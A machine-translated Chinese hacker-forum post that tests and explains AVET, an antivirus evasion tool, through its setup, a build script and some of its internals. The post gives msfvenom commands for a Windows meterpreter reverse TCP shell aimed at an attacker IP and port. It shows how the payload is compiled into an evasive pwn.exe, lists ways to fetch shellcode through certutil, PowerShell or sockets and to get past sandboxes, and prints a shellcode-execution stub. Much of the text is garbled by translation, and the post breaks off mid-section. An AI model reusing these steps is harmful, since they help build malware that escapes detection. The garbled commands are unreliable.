跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

防病毒规避工具(avet)的测试与分析

精选回复

发布于

0x00 前言

Avet是一种用来绕过杀毒软件检测的工具,使用了多种不同的杀毒规避技术。

分别入选blackhat ASIA 2017 arsnal、blackhat USA 2017 arsnal和blackhat USA 2018 arsnal:

https://www . black hat . com/Asia-17/阿森纳. html # avet-防病毒-规避-工具

https://www . black hat . com/us-17/阿森纳/schedule/index . html # avet—防病毒-规避-工具-7908

https://www . black hat . com/us-18/阿森纳/schedule/index . html # avet-anti virus-evasion-tool-10692

Github开源地址:

https://github.com/govolution/avet

本文将结合自己的经验对其进行测试,并对avet使用的反病毒规避技术进行分析。

0x01 简介

本文将介绍以下内容:

环境建设

使用流程

工具实现细节

技术细节分析

0x02 环境搭建

测试系统:kali2 x64

1、下载

https://github.com/govolution/avet

2、编译

如果您使用32位kali系统,您需要编译

gcc -o制造_avet制造_avet.c

64位kali系统不需要

3、安装wine32

否则,无法生成exe。

如下图

2-1.png

安装命令:

dpkg-add-architecture i386 apt-get更新apt-get安装wine32

4、安装TDM GCC

参考地址:

https://go volution . WordPress . com/2017/02/04/using-TDM-gcc-with-kali-2/

下载:

https://sourceforge.net/projects/tdm-gcc/

安装:

葡萄酒tdm64-gcc-5.1.0-2.exe

在安装窗口中,选择创建。

选择mingw-w64/tdm64 (32位和64位)

接下来,选择默认设置,最后安装。

5、测试

执行:/make_avet -h

获取参数描述

0x03 使用流程

1、执行avet_fabric.py

如下图

3-1.png

2、选择script

这里选7:build _ win 64 _ meter preter _ rev _ TCP _ xor . sh。

3、编辑脚本内容

显示默认的脚本内容,可以修改,如下图所示

3-2.png

注:

脚本内容对应文件/build/build _ win 64 _ meter preter _ rev _ TCP _ xor . sh。

默认脚本内容和描述如下:

(1)指定gcc编译设置,内容为win64_compiler='wine gcc -m64 '。build/global_win64.sh

(2)使用meterpreter生成反向净荷,并保存为sc.txt

MSF venom-p Windows/x64/meter preter/reverse _ TCP lhost=192 . 168 . 116 . 142 lport=443-e x64/xor-f c-platform Windows sc . txt

(3)读取sc.txt内容,提取shellcode,删除文件sc.txt。/format . sh sc . txt sc clean . txt RM sc . txt

(4)调用make_avet,将外壳代码和函数标志发送到defs.h文件。/make_avet -f scclean.txt -X -E

(5)编译avet.c(avet.c gcc (avet.c会调用defs.h)生成最终文件pwn.exe。

$ win 64 _ compiler-o pwn.exe avet . c

(6)删除文件scclean.txt并清空文件defs.h

rm scclean.txt echo '' defs.h

4、执行,生成最终文件

确认脚本内容后,回车确认并执行脚本,如下图所示

3-3.png

生成最终文件pwn.exe。

0x04 工具实现细节

1、通过meterpreter生成payload并保存文件

MSF venom-p Windows/x64/meter preter/reverse _ TCP lhost=192 . 168 . 116 . 142 lport=443-e x64/xor-f hex-platform Windows sc . txt

文件内容如下

4-1.png

2、运行format.sh将shellcode从前面的文件提取出来

。/format.sh sc.txt scclean.txt

提取的文件内容如下

4-2.png

注:

个人认为,以上两步可以通过一个命令实现:

MSF venom-p Windows/x64/meter preter/reverse _ TCP lhost=192 . 168 . 116 . 142 lport=443-e x64/xor-f hex-platform Windows sc . txt

3、运行make_avet,从前面的文件提取shellcode,并设置功能标志位,写入文件defs.h

功能位对应make_avet支持的各种功能,可以通过执行来详细说明。/make _ avet-h。

具体功能如下:

从指定的文件中读取外壳代码并执行它。

从指定的文件中读取加密的外壳代码,解密并执行。

调用iexplore.exe访问指定的网址,获取外壳代码并执行它。

通过WinAPI调用socket,访问指定url的端口80,获取shellcode并执行。

通过certutil下载文件,获取shellcode并执行。

通过powershell下载文件,获取shellcode并执行。

使用WinAPI fopen绕过沙箱

使用WinAPI gethostbyname绕过沙箱

编译成64位。

隐藏程序窗口

4、使用gcc编译avet.c,生成最终文件

Avet.c是主程序,shellcode和函数标志位从头文件defs.h中读取

0x05 技术细节分析

1、执行shellcode的核心代码

(1)

void exec_shellcode(无符号字符*shellcode)

{

int(* funct)();

funct=(int (*)))外壳代码;

(int)(* funct)();

}

生成对应于外壳代码的参数:

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。